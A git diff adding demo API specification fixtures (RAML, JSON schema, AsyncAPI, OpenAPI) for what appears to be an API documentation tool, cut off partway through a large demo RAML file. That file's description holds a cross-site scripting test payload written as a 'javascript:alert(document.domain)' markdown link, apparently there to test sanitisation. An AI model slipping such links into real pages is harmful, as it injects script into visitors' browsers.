diff --git a/demo/apis/SE-19500/modules/canada-commons/canda-commons.raml b/demo/apis/SE-19500/modules/canada-commons/canda-commons.raml
new file mode 100755
index 0000000..505352a
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canada-commons/canda-commons.raml
@@ -0,0 +1,64 @@
+#%RAML 1.0 Library
+usage: |
+ This library defines some common concepts to be used throughout C&A's API specifications.
+
+traits:
+ client-id-required:
+ usage: Apply this trait to every API/resource that is protected by "client-id enforcement".
+ description: Access requires client credentials (ID and secret).
+
+resourceTypes:
+ ping:
+ description: Answers a little JSON structure containing the most essential information on the application in question.
+ get:
+ responses:
+ 200:
+ body:
+ application/json:
+ example: !include ref/ping-example.json
+ type: !include ref/ping-schema.json
+ logLevel:
+ description: Change the severity of a specific logger.
+ uriParameters:
+ loggerName:
+ description: Name of the logger whose level is to be changed.
+ type: string
+ required: true
+ example: "org.apache"
+ put:
+ body:
+ application/json:
+ example: !include ref/log-levels-example.json
+ type: !include ref/log-levels-schema.json
+ responses:
+ 200:
+ body:
+ application/json:
+ description: |
+ Add
+ "#[com.canda.mulestac.logging.ChangeLogLevel.changeWithJson(flowVars.loggerName, payload)]"
+ to your generated set-payload flow element.
+ example: !include ref/log-levels-response-example.json
+ type: !include ref/log-levels-response-schema.json
+
+securitySchemes:
+ basicAuth:
+ displayName: Basic Authentication
+ description: This API supports Basic Authentication. The client has to provide an "Authorization" header with valid credentials.
+ type: Basic Authentication
+
+ describedBy:
+ headers:
+ Authorization:
+ description: Used to send valid credentials.
+ type: string
+ example: Basic ax5Gdza5OnJpZnG4Z2ok
+ responses:
+ 401:
+ description: Credentials are missing or could not be validated by the server.
+
+annotationTypes:
+ deprecated:
+ type: string
+ description: Mark resources or methods that should not be used any longer accordingly.
+ allowedTargets: [ Resource, Method ]
diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-example.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-example.json
new file mode 100755
index 0000000..e9f7afb
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-example.json
@@ -0,0 +1,3 @@
+{
+ "newLevel": "DEBUG"
+}
\ No newline at end of file
diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-example.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-example.json
new file mode 100755
index 0000000..267547b
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-example.json
@@ -0,0 +1,3 @@
+{
+ "message" : "TODO you need to replace this generated setpayload by #[com.canda.mulestac.logging.ChangeLogLevel.changeWithJson(flowVars.loggerName, payload)] in the api.xml"
+}
\ No newline at end of file
diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-schema.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-schema.json
new file mode 100755
index 0000000..6b13e8b
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-schema.json
@@ -0,0 +1,10 @@
+{
+ "$schema": "http://json-schema.org/draft-04/schema#",
+ "type": "object",
+ "properties": {
+ "message": {
+ "description":"the human readable result of the changeLogLevel operation.",
+ "type": "string"
+ }
+ }
+}
\ No newline at end of file
diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-schema.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-schema.json
new file mode 100755
index 0000000..b690c9d
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-schema.json
@@ -0,0 +1,30 @@
+{
+ "$schema": "http://json-schema.org/draft-04/schema#",
+ "type": "object",
+ "title": "change a certain log level",
+ "properties": {
+ "newLevel": {
+ "type": "string",
+ "description": "The new log level to be set.",
+ "enum": [
+ "OFF",
+ "ERROR",
+ "WARN",
+ "INFO",
+ "DEBUG",
+ "TRACE"
+ ]
+ },
+ "createFlag": {
+ "description": "Optional parameter to create a logger in case it does not exist (to avoid typo errors for existing loggers).",
+ "type": "boolean"
+ },
+ "hoursToReset": {
+ "description": "Delay in hours after which time the logger is set back to its original log level.",
+ "type": "integer"
+ }
+ },
+ "required": [
+ "newLevel"
+ ]
+}
\ No newline at end of file
diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/ping-example.json b/demo/apis/SE-19500/modules/canada-commons/ref/ping-example.json
new file mode 100755
index 0000000..9554808
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canada-commons/ref/ping-example.json
@@ -0,0 +1,7 @@
+{
+ "application": {
+ "name": "some-application-system",
+ "version": "2019.8.1",
+ "stage": "deve"
+ }
+}
\ No newline at end of file
diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/ping-schema.json b/demo/apis/SE-19500/modules/canada-commons/ref/ping-schema.json
new file mode 100755
index 0000000..23e4b69
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canada-commons/ref/ping-schema.json
@@ -0,0 +1,49 @@
+{
+ "$schema": "http://json-schema.org/draft-04/schema#",
+ "type": "object",
+ "title": "Describes a /ping response that provides meta information of the application in place.",
+ "required": [
+ "application"
+ ],
+ "properties": {
+ "application": {
+ "type": "object",
+ "description": "The application object holds some basic information concerning self.",
+ "required": [
+ "name",
+ "version",
+ "stage"
+ ],
+ "properties": {
+ "name": {
+ "type": "string",
+ "description": "The name of the application. Corresponds to the Maven 'artifactId'.",
+ "examples": [
+ "some-application-system"
+ ]
+ },
+ "version": {
+ "type": "string",
+ "description": "The version of the deployed application.",
+ "examples": [
+ "2019.8.1", "2020.1.2-SNAPSHOT"
+ ]
+ },
+ "stage": {
+ "type": "string",
+ "description": "The stage (environment) the application is currently running.",
+ "enum": [
+ "local",
+ "deve",
+ "apps",
+ "ints",
+ "prod",
+ "trai",
+ "pref",
+ "phot"
+ ]
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/api.raml b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/api.raml
new file mode 100755
index 0000000..5962f21
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/api.raml
@@ -0,0 +1,6 @@
+#%RAML 1.0 Library
+usage: Shared DataType definitions for the **canda-mule4-example** API.
+
+types:
+ greeting: !include types/greeting-schema.json
+ greetings: !include types/greetings-schema.json
diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greeting-example.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greeting-example.json
new file mode 100755
index 0000000..ba47af3
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greeting-example.json
@@ -0,0 +1,4 @@
+{
+ "id": "82157f46-887e-4907-b7c6-06278b3b9ea1",
+ "message": "Welcome and thanks for your request, mike."
+}
\ No newline at end of file
diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greetings-example.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greetings-example.json
new file mode 100755
index 0000000..41fb36f
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greetings-example.json
@@ -0,0 +1,15 @@
+{
+ "greetings": [{
+ "id": "1568b2db-9e2f-4025-b7ae-05301901d362",
+ "message": "Enjoy this wonderful day while the sun is shining on the autumn leaves."
+ },
+ {
+ "id": "0bde5b56-bad6-4ed8-9ac6-355587761610",
+ "message": "Can you hear the waves? Most amazing sound I've ever heard."
+ },
+ {
+ "id": "57b5673e-73f0-4512-bca1-5255dc6f25b5",
+ "message": "Mindfulness is one of the secrets for a happy life."
+ }
+ ]
+}
\ No newline at end of file
diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greeting-schema.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greeting-schema.json
new file mode 100755
index 0000000..2d0498f
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greeting-schema.json
@@ -0,0 +1,22 @@
+{
+ "$schema": "http://json-schema.org/draft-04/schema#",
+ "description": "Describes simple greeting representation consisting of an ID and a message.",
+ "additionalProperties": false,
+ "type": "object",
+ "required": [
+ "id",
+ "message"
+ ],
+ "properties": {
+ "id": {
+ "type": "string",
+ "minLength": 36,
+ "maxLength": 36,
+ "description": "The ID of the representation, a randomly generated UUID."
+ },
+ "message": {
+ "type": "string",
+ "description": "The text message of the greeting."
+ }
+ }
+}
diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greetings-schema.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greetings-schema.json
new file mode 100755
index 0000000..af94189
--- /dev/null
+++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greetings-schema.json
@@ -0,0 +1,34 @@
+{
+ "$schema": "http://json-schema.org/draft-04/schema#",
+ "description": "Describes a collection of 0..n simple message representations consisting of an ID and a text.",
+ "additionalProperties": false,
+ "type": "object",
+ "required": [
+ "greetings"
+ ],
+ "properties": {
+ "greetings": {
+ "type": "array",
+ "description": "Holds the collection of simple messages.",
+ "items": {
+ "type": "object",
+ "required": [
+ "id",
+ "message"
+ ],
+ "properties": {
+ "id": {
+ "type": "string",
+ "minLength": 36,
+ "maxLength": 36,
+ "description": "The ID of the representation, a randomly generated UUID."
+ },
+ "message": {
+ "type": "string",
+ "description": "The text of the message."
+ }
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/demo/apis/SE-19500/ref/companies-example.json b/demo/apis/SE-19500/ref/companies-example.json
new file mode 100755
index 0000000..ebc7f6c
--- /dev/null
+++ b/demo/apis/SE-19500/ref/companies-example.json
@@ -0,0 +1,14 @@
+{
+ "companies": [
+ {
+ "code": 2,
+ "name": "C & A Mode GmbH & Co. KG, Germany",
+ "companyType": "EU"
+ },
+ {
+ "code": 11,
+ "name": "C & A Nederland",
+ "companyType": "EU"
+ }
+ ]
+}
\ No newline at end of file
diff --git a/demo/apis/SE-19500/ref/companies-schema.json b/demo/apis/SE-19500/ref/companies-schema.json
new file mode 100755
index 0000000..48367e4
--- /dev/null
+++ b/demo/apis/SE-19500/ref/companies-schema.json
@@ -0,0 +1,70 @@
+{
+ "$schema": "http://json-schema.org/draft-04/schema#",
+ "description": "Describes the probably most simple representation of a CANDA company.",
+ "additionalProperties": true,
+ "definitions": {},
+ "properties": {
+ "companies": {
+ "items": {
+ "additionalProperties": true,
+ "properties": {
+ "code": {
+ "type": "integer",
+ "minimum": 0,
+ "maximum": 99,
+ "description": "The code of the given company is the unique identifier of the entity."
+ },
+ "name": {
+ "type": "string",
+ "maxLength": 50,
+ "description": "The legal name of the given company."
+ },
+ "companyType": {
+ "anyOf": [
+ {
+ "type": "string",
+ "maxLength": 10,
+ "description": "The legal name of the given company.",
+ "enum": [
+ "EU"
+ ]
+ },
+ {
+ "type": "string",
+ "description": "Any future added type",
+ "maxLength": 10
+ }
+ ]
+ }
+ },
+ "required": [
+ "code",
+ "name"
+ ],
+ "type": "object"
+ },
+ "type": "array"
+ },
+ "companyType": {
+ "anyOf": [
+ {
+ "type": "string",
+ "maxLength": 10,
+ "description": "The legal name of the given company.",
+ "enum": [
+ "EU"
+ ]
+ },
+ {
+ "type": "string",
+ "description": "Any future added type",
+ "maxLength": 10
+ }
+ ]
+ }
+ },
+ "required": [
+ "companies"
+ ],
+ "type": "object"
+}
\ No newline at end of file
diff --git a/demo/apis/Streetlights/Streetlights.yaml b/demo/apis/Streetlights/Streetlights.yaml
new file mode 100644
index 0000000..a28d4c0
--- /dev/null
+++ b/demo/apis/Streetlights/Streetlights.yaml
@@ -0,0 +1,36 @@
+asyncapi: '2.0.0'
+info:
+ title: Streetlights API
+ version: '1.0.0'
+ description: |
+ The Smartylighting Streetlights API allows you
+ to remotely manage the city lights.
+ license:
+ name: Apache 2.0
+ url: 'https://www.apache.org/licenses/LICENSE-2.0'
+servers:
+ mosquitto:
+ url: mqtt://test.mosquitto.org
+ protocol: mqtt
+channels:
+ light/measured:
+ publish:
+ summary: Inform about environmental lighting conditions for a particular streetlight.
+ operationId: onLightMeasured
+ message:
+ name: LightMeasured
+ payload:
+ type: object
+ properties:
+ id:
+ type: integer
+ minimum: 0
+ description: Id of the streetlight.
+ lumens:
+ type: integer
+ minimum: 0
+ description: Light intensity measured in lumens.
+ sentAt:
+ type: string
+ format: date-time
+ description: Date and time when the message was sent.
diff --git a/demo/apis/aap-1698/aap-1698.raml b/demo/apis/aap-1698/aap-1698.raml
new file mode 100644
index 0000000..0ebcf3a
--- /dev/null
+++ b/demo/apis/aap-1698/aap-1698.raml
@@ -0,0 +1,26 @@
+#%RAML 1.0
+title: AAP-1698
+
+/working:
+ post:
+ body:
+ application/json:
+ type: object
+ properties:
+ userType:
+ type:
+ enum: [Admin, User, System]
+ required: false
+
+/not-working:
+ post:
+ body:
+ application/json:
+ type: object
+ properties:
+ mappers:
+ description: optional set of mapper types to use for handling the request.
+ type: array
+ items:
+ enum: [ "lookup","ml","fasttext"]
+ required: false
\ No newline at end of file
diff --git a/demo/apis/annotated-api/annotated-api.raml b/demo/apis/annotated-api/annotated-api.raml
new file mode 100644
index 0000000..fca3e1c
--- /dev/null
+++ b/demo/apis/annotated-api/annotated-api.raml
@@ -0,0 +1,82 @@
+#%RAML 1.0
+title: Illustrating annotations
+mediaType: application/json
+
+annotationTypes:
+ annotationTest: nil
+ deprecated: string
+ experimental: nil | string
+ feedbackRequested: string?
+ testHarness:
+ type: string # This line can be omitted as it's the default type
+ badge: # This annotation type allows string values, too
+ clearanceLevel:
+ properties:
+ level:
+ enum: [ low, medium, high ]
+ required: true
+ signature:
+ pattern: "\\d{3}-\\w{12}"
+ required: true
+types:
+ nilAnnotationType:
+ (annotationTest):
+ type: object
+ properties:
+ test: boolean
+ ErrorResource:
+ (deprecated): This resource type is deprecated and will be removed in the next version.
+ description: A response that is errored
+ type: object
+ properties:
+ error:
+ type: boolean
+ required: true
+ example: true
+ default: true
+ description: Indicate that the response is errored.
+ message:
+ type: string
+ description: The error message associated with the error.
+ example: <>
+ required: true
+ notRequiredRepeatable:
+ (annotationTest):
+ type: object
+ properties:
+ test: boolean
+ ComplexAnnotations:
+ (clearanceLevel):
+ level: high
+ signature: 230-ghtwvfrs1itr
+ type: object
+ properties:
+ test: string
+ ComboType:
+ (annotationTest):
+ (deprecated): This is deprecated annotation
+ (clearanceLevel):
+ level: low
+ signature: OtherSignature
+ type: object
+ properties:
+ test: string
+ NoAnnotations:
+ type: object
+ properties:
+ test: string
+/groups:
+ (experimental):
+ (feedbackRequested):
+/users:
+ (testHarness): usersTest
+ (badge): tested.gif
+ (clearanceLevel):
+ level: high
+ signature: 230-ghtwvfrs1itr
+ get:
+ (deprecated): This is deprecated annotation
+ (experimental):
+ (feedbackRequested): Feedback committed!
+ responses:
+ 200:
diff --git a/demo/apis/anyOf/anyOf.yaml b/demo/apis/anyOf/anyOf.yaml
new file mode 100644
index 0000000..736aa75
--- /dev/null
+++ b/demo/apis/anyOf/anyOf.yaml
@@ -0,0 +1,37 @@
+asyncapi: '2.0.0'
+info:
+ title: AnyOf example
+ version: '1.0.0'
+
+channels:
+ test:
+ publish:
+ message:
+ $ref: '#/components/messages/testMessages'
+
+components:
+ messages:
+ testMessages:
+ payload:
+ anyOf: # anyOf in payload schema
+ - $ref: "#/components/schemas/objectWithKey"
+ - $ref: "#/components/schemas/objectWithKey2"
+ testMessage1:
+ payload:
+ $ref: "#/components/schemas/objectWithKey2"
+
+ schemas:
+ objectWithKey:
+ type: object
+ properties:
+ key:
+ type: string
+ additionalProperties: false
+ objectWithKey2:
+ type: object
+ properties:
+ key2:
+ type: number
+ prop:
+ type: boolean
+
diff --git a/demo/apis/api-keys/api-keys.yaml b/demo/apis/api-keys/api-keys.yaml
new file mode 100644
index 0000000..82b0c1d
--- /dev/null
+++ b/demo/apis/api-keys/api-keys.yaml
@@ -0,0 +1,85 @@
+openapi: 3.0.0
+
+info:
+ version: 1.0.0
+ title: OAS API key API
+
+servers:
+ - url: https://{customerId}.saas-app.com:{port}/v2
+ variables:
+ customerId:
+ default: demo
+ description: Customer ID assigned by the service provider
+ port:
+ enum:
+ - '443'
+ - '8443'
+ default: '443'
+
+components:
+ schemas:
+ Error:
+ type: object
+ properties:
+ name:
+ type: string
+ example: ServerException
+ message:
+ type: string
+ example: Some server error occurred
+ securitySchemes:
+ clientQuery:
+ type: apiKey
+ name: client_id
+ in: query
+ clientSecret:
+ type: apiKey
+ name: client_secret
+ in: header
+ clientCookie:
+ type: apiKey
+ name: client_secret
+ in: cookie
+ clientMulti:
+ type: apiKey
+ name: client_multi
+ in: header
+
+paths:
+ /query:
+ get:
+ security:
+ - clientQuery: []
+ responses:
+ default:
+ description: Unexpected error
+ /header:
+ get:
+ security:
+ - clientSecret: []
+ responses:
+ default:
+ description: Unexpected error
+ /cookie:
+ get:
+ security:
+ - clientCookie: []
+ responses:
+ default:
+ description: Unexpected error
+ /junction:
+ get:
+ security:
+ - clientQuery: []
+ clientMulti: []
+ responses:
+ default:
+ description: Unexpected error
+ /split:
+ get:
+ security:
+ - clientQuery: []
+ - clientMulti: []
+ responses:
+ default:
+ description: Unexpected error
diff --git a/demo/apis/apic-83/apic-83.raml b/demo/apis/apic-83/apic-83.raml
new file mode 100644
index 0000000..0080d23
--- /dev/null
+++ b/demo/apis/apic-83/apic-83.raml
@@ -0,0 +1,32 @@
+#%RAML 1.0
+title: 00193743
+
+types:
+ Email:
+ type: object
+ properties:
+ name:
+ type: string
+ subject:
+ type: string
+ sent:
+ type: datetime
+
+ TestType:
+ properties:
+ name: string
+
+ Emails:
+ type: array
+ items: Email
+ minItems: 1
+ uniqueItems: true
+
+ GoodEmails:
+ type: Email[]
+ minItems: 1
+
+ BadEmails:
+ type: array
+ items: Emails | TestType
+ minItems: 1
diff --git a/demo/appian-api/appian-api.raml b/demo/apis/appian-api/appian-api.raml
similarity index 100%
rename from demo/appian-api/appian-api.raml
rename to demo/apis/appian-api/appian-api.raml
diff --git a/demo/array-body/array-body.raml b/demo/apis/array-body/array-body.raml
similarity index 100%
rename from demo/array-body/array-body.raml
rename to demo/apis/array-body/array-body.raml
diff --git a/demo/async-api/async-api.yaml b/demo/apis/async-api/async-api.yaml
similarity index 100%
rename from demo/async-api/async-api.yaml
rename to demo/apis/async-api/async-api.yaml
diff --git a/demo/apis/demo-api/demo-api.raml b/demo/apis/demo-api/demo-api.raml
new file mode 100644
index 0000000..99d3c9b
--- /dev/null
+++ b/demo/apis/demo-api/demo-api.raml
@@ -0,0 +1,1391 @@
+#%RAML 1.0
+title: API body demo
+version: v1
+baseUri: http://{instance}.domain.com/
+
+mediaType: [application/json, application/xml]
+protocols: [HTTP, HTTPS]
+
+description: |
+ This is a description of demo API.
+
+ This is **markdown**.
+
+ [evil markdown](javascript:alert(document.domain))xxxxxxxx
+
+baseUriParameters:
+ instance:
+ description: |
+ The execution environments. Can be one of:
+ - development
+ - staging
+ - qaâ
+ - production
+ type: string
+ enum: [development, staging, qa, production]
+ pattern: (development|staging|qa|production)
+ default: production
+annotationTypes:
+ MarkAnnotation: nil
+ deprecated: string
+ annotationTest: nil
+ clearanceLevel:
+ properties:
+ level:
+ enum: [ low, medium, high ]
+ required: true
+ signature:
+ pattern: "\\d{3}-\\w{12}"
+ required: true
+uses:
+ ExampleType: resourceTypes/example-types.raml
+ myLib: library.raml
+ DemoTypes: library/demo-types.raml
+types:
+ Image: !include resourceTypes/image.raml
+ Resource: !include resourceTypes/resource.raml
+ AppPerson: !include resourceTypes/app-person.raml
+ DemoPerson: !include types/DemoPerson.raml
+ Product: !include resourceTypes/product.raml
+ ErrorResource:
+ description: A response that is errored
+ type: object
+ properties:
+ error:
+ type: boolean
+ required: true
+ example: true
+ default: true
+ description: Indicate that the response is errored.
+ message:
+ type: string
+ description: The error message associated with the error.
+ required: true
+ EnurableType:
+ type: object
+ properties:
+ e1:
+ (MarkAnnotation):
+ (deprecated): |
+ This property is deprecated.
+
+ Please, do not use it in new projects.
+ (clearanceLevel):
+ level: low
+ signature: 230-ghtwvfrs1itr
+ type: string
+ displayName: Enumerable 1
+ description: |
+ Example enumerable type to test the documentation
+ element.
+
+ It renders `Markdown` model.
+ enum: [v1, v2, v3, v4]
+ required: false
+ examples:
+ Ex1: v1
+ EX2: v2
+ pattern: "v[1-4]"
+ default: v1
+ e2:
+ type: string
+ enum: [e1, e2, e3, e4]
+ required: true
+ example: e1
+ ArrayType:
+ type: array
+ items: Image
+ description: |
+ Hello world
+ Feature:
+ description: A feature to test enum values in the URI parameters.
+ type: string
+ enum:
+ - A
+ - B
+ - C
+ Unionable:
+ type: ErrorResource | Product
+ PropertyUnion:
+ type: object
+ properties:
+ etag:
+ type: string
+ data: Feature | ErrorResource | Product
+ PropertyArray:
+ type: object
+ properties:
+ etag:
+ type: string
+ nextPageToken:
+ type: string
+ data:
+ type: array
+ items: Product
+ complex:
+ type: array
+ items: string | number | Product
+ ComplexRecursive:
+ type: object
+ properties:
+ iteration1:
+ properties:
+ images:
+ type: array
+ items: Image
+ userImage:
+ type: Image
+ properties:
+ options:
+ type: string | Product
+ user:
+ type: AppPerson
+ ieration2:
+ type: Product
+ properties:
+ images:
+ type: Image[]
+ ProcessVariableList:
+ type: object
+ properties:
+ //: any
+ example: |
+ {
+ "processVar1": "value1",
+ "processVar2": "value2"
+ }
+ Notification:
+ properties:
+ scalarArray:
+ required: true
+ type: array
+ items: integer
+ description: Integer array item type
+ displayName: Scalar array (integer)
+ otherScalar:
+ required: false
+ type: string[]
+ AnyType: any
+ NilType: nil
+ ScalarType: string
+ BooleanType: boolean
+ DescribedScalar:
+ type: string
+ description: This is a scalar with description
+ minLength: 1
+ maxLength: 12
+ Arrable2:
+ type: string[]
+ UnionArray:
+ type: Arrable2 | string
+ FilePropertyType:
+ type: object
+ properties:
+ filetype:
+ minLength: 100
+ maxLength: 300
+ required: false
+ type: file
+ fileTypes:
+ - image/png
+ - image/jpeg
+ FileType:
+ minLength: 1024
+ maxLength: 2048
+ required: true
+ type: file
+ fileTypes:
+ - application/mulesoft+modeling
+ - application/data-model
+ withEmbeddedType:
+ type: object
+ properties:
+ imageProperty: Image
+ other: string
+ withExtendedType:
+ type: Image
+ properties:
+ other: string
+ RecursiveShape:
+ (deprecated): This type is deprecated causes it throws errors.
+ type: object
+ properties:
+ id: string
+ relatedTo:
+ type: RecursiveShape
+ description: This is recursive.
+ apiTokens: # each is optional, not exclusive with anything
+ properties:
+ userToken: number
+ applicationToken?: number
+resourceTypes:
+ ErrorredResource:
+ get:
+ ResourceNotFound:
+ type: ErrorredResource
+ get:
+ responses:
+ 404:
+ body:
+ application/json:
+ displayName: Not found response
+ type: ErrorResource
+ application/xml:
+ displayName: Not found response
+ type: !include schemas/error-response.xsd
+ example: !include examples/e404.xml
+ UnauthorizedResponse:
+ type: ErrorredResource
+ get:
+ responses:
+ 404:
+ body:
+ application/json:
+ displayName: Unauthorized response
+ type: ErrorResource
+ application/xml:
+ displayName: Unauthorized response
+ type: !include schemas/error-response.xsd
+ example: !include examples/e401.xml
+ RequestErrorResponse:
+ type: ErrorredResource
+ get:
+ responses:
+ 400:
+ description: The error response when one of the parameters is invalid and can't be parsed. Nothing can be done at the time except correcting the request to send valid data.
+ body:
+ application/json:
+ displayName: Invalid request
+ type: ErrorResource
+ application/xml:
+ displayName: Invalid request
+ type: !include schemas/error-response.xsd
+ example: !include examples/e400.xml
+ put:
+ responses:
+ 400:
+ description: The error response when one of the parameters is invalid and can't be parsed. Nothing can be done at the time except correcting the request to send valid data.
+ body:
+ application/json:
+ displayName: Invalid request
+ type: ErrorResource
+ application/xml:
+ displayName: Invalid request
+ type: !include schemas/error-response.xsd
+ example: !include examples/e400.xml
+traits:
+ Paginated: !include traits/pagination.raml
+ Adminable: !include traits/adminable.raml
+ RateLimited: !include traits/rate-limited.raml
+securitySchemes:
+ basic: !include securitySchemes/basic.raml
+ oauth_2_0: !include securitySchemes/oauth_2_0.raml
+ custom1: !include securitySchemes/x-custom.raml
+ custom2: !include securitySchemes/x-other.raml
+ custom3: !include securitySchemes/x-query-string.raml
+ pass_through: !include securitySchemes/passthrough.raml
+ basicWithDefaults:
+ type: Basic Authentication
+ describedBy:
+ headers:
+ Authorization:
+ type: string
+ default: test
+ oauth1: !include securitySchemes/oauth_1_0.raml
+ oauth1signature: !include securitySchemes/oauth_1_0_signature.raml
+ oauth1noSignature: !include securitySchemes/oauth_1_0_no-signature.raml
+ oauth1noSettings: !include securitySchemes/oauth_1_0_no-settings.raml
+ digest:
+ description: |
+ This API supports DigestSecurityScheme Authentication.
+ type: Digest Authentication
+ passthroughQueryString: !include securitySchemes/passthrough-querystring.raml
+ custom_scheme:
+ description: |
+ A custom security scheme for authenticating requests.
+ type: x-custom
+ displayName: RAML's custom scheme
+ describedBy:
+ headers:
+ SpecialToken:
+ description: |
+ Used to send a custom token.
+ type: string
+ queryString:
+ type: apiTokens
+ examples:
+ first:
+ value:
+ userToken: 1234
+ applicationToken: 5678
+ second:
+ value:
+ start: 1239874566
+ page-size: 987321456
+ responses:
+ 401:
+ description: |
+ Bad token.
+ 403:
+ oauth2:
+ type: OAuth 2.0
+ displayName: Regular OAuth 2.0 definition
+ settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ scopes: [profile, email]
+ describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
+ headers:
+ Authorization:
+ type: string
+ oauth2grants:
+ type: OAuth 2.0
+ displayName: Regular OAuth 2.0 definition
+ settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ authorizationGrants: authorization_code
+ scopes: [profile, email]
+ describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
+ headers:
+ Authorization:
+ type: string
+ oauth2Annotation:
+ type: OAuth 2.0
+ displayName: OAuth 2.0 with annotation
+ settings:
+ (oauth-2-custom-settings):
+ # ignoreDefaultGrants:
+ authorizationGrants: [annotated_custom_grant, annotated_custom_grant2]
+ authorizationSettings:
+ queryParameters:
+ resource:
+ type: string
+ required: true
+ description: |
+ A resource ID that defines a domain of authorization.
+ displayName: Hello query parameeter
+ default: default
+ examples:
+ named: named example value
+ otherExample: test example value
+ pattern: "[a-zA-Z]+"
+ maxLength: 12
+ minLength: 3
+ numericParam:
+ type: number
+ minimum: 10
+ maximum: 20
+ multipleOf: 2
+ format: float
+ required: false
+ example: 22
+ dateParam:
+ type: date-only
+ required: false
+ repetableParam1:
+ type: string[]
+ required: false
+ repetableParam2:
+ type: array
+ items: integer
+ required: false
+ accessTokenSettings:
+ queryParameters:
+ queryTokenResource: string
+ detailedTokenResource:
+ type: number
+ description: some description
+ required: false
+ headers:
+ x-token-resource:
+ type: number
+ default: 123
+ body:
+ bodyTokenResource: string
+ bodyDetailed:
+ type: boolean
+ required: true
+ displayName: Body detailed property
+ default: true
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ authorizationGrants: [authorization_code, password, client_credentials, implicit]
+ scopes: [profile, email]
+ describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
+ oauth2queryDelivery: !include securitySchemes/oauth2-query-delivery.raml
+ oauth2headerDelivery: !include securitySchemes/oauth2-header-delivery.raml
+ oauth2noDelivery: !include securitySchemes/oauth2-no-delivery.raml
+ oauth2noGrants: !include securitySchemes/oauth2-no-grants.raml
+ oauth2pkce: !include securitySchemes/oauth2-pkce.raml
+ libOauth: myLib.oauthLib
+
+documentation:
+ - title: Test doc
+ content: Test content
+
+
+/test-parameters/{feature}:
+ (deprecated): This endpoint is deprecated and will be removed.
+ securedBy: [libOauth]
+ uriParameters:
+ feature:
+ type: string
+ enum:
+ - A
+ - B
+ - C
+ get:
+ (deprecated): This method is deprecated and will be removed.
+ (clearanceLevel):
+ level: high
+ signature: 230-ghtwvfrs1itr
+ description: To test enum values in the URI parameters for inline type declaration.
+ queryParameters:
+ testRepeatable:
+ (deprecated): Test parameter will be removed in next version of the API.
+ required: true
+ type: string[]
+ example: [value1, value2]
+ numericRepeatable:
+ required: true
+ type: integer[]
+ examples:
+ Some-test-example: [123, 456]
+ Other-example: [1011, 1213]
+ notRequiredRepeatable:
+ (annotationTest):
+ type: array
+ items: date-only
+ required: false
+ /{typeFeature}:
+ (annotationTest):
+ (deprecated): This method will be removed in future release of the API.
+ uriParameters:
+ typeFeature:
+ (annotationTest):
+ type: Feature
+ get:
+ (deprecated): This endpoint is deprecated and will be removed.
+ description: To test enum values in the URI parameters for global type declaration.
+/people:
+ displayName: People
+ type: RequestErrorResponse
+ is: [RateLimited]
+ get:
+ (annotationTest):
+ displayName: List people
+ description: Use this method to list all the people.
+ is: [Paginated: {resourceType: AppPerson}]
+ headers:
+ x-people-op-id:
+ (annotationTest):
+ type: string
+ pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
+ description: People ops ID. It is UUID v4 string
+ example: 9719fa6f-c666-48e0-a191-290890760b30
+ post:
+ (deprecated): |
+ This method is not deprecated. And this is only an annotation test.
+ displayName: Create a person
+ description: Use this method to add new person
+ body:
+ application/json:
+ (deprecated): This response type is deprecated and soon will be replaced.
+ type: AppPerson
+ application/xml:
+ type: !include schemas/person.xsd
+ example: !include examples/person.xml
+ put:
+ displayName: Update a person
+ description: Updates the person in the datastore.
+ body:
+ application/json:
+ schema: !include schemas/person.json
+ example: !include examples/person.json
+ application/xml:
+ type: !include schemas/person.xsd
+ example: !include examples/person.xml
+ responses:
+ 204:
+ 200:
+ (deprecated): This response type is deprecated and soon will be replaced.
+ description: |
+ Success response for the body
+ headers:
+ X-Frame-Options:
+ type: string
+ examples:
